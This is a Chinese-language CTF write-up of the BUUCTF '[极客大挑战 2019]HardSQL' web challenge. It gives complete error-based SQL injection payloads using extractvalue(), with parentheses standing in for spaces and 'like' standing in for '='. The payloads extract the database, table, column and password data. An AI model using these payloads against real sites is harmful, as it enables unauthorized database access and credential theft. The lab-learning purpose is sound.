CTF-Web-[极客大挑战 2019]HardSQL

博客说明

文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!

CTP平台

网址

https://buuoj.cn/challenges

题目

Web类,[极客大挑战 2019]HardSQL

image-20200503193733286

打开题目的实例

image-20200503193633056

思路

SQl的题目,首先试一试万能密码

image-20200503193937673

试一下双写

image-20200503194119354

看来被封死了,想想其他的办法,可以使用extractvalue和updatexml进行报错注入,空格和=号没有,所以我们要使用()来代替空格,使用like来代替=号

使用extractvalue()

/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(database()))))%23

image-20200503194532545

这一下报错把数据库名给爆出来了

爆表
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23

image-20200503195151533

爆字段
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23

image-20200503195329551

爆数据

把password查出来

/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))%23

image-20200503195514395

flag出来了,不对好像只有一半,使用{left(),right()}

/check.php?username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23

/check.php?username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23

image-20200503201615920

拼接起来就是flag了

感谢

BUUCTF

以及勤劳的自己


归子莫
1k 声望1.2k 粉丝

信息安全工程师,现职前端工程师的全栈开发,三年全栈经验。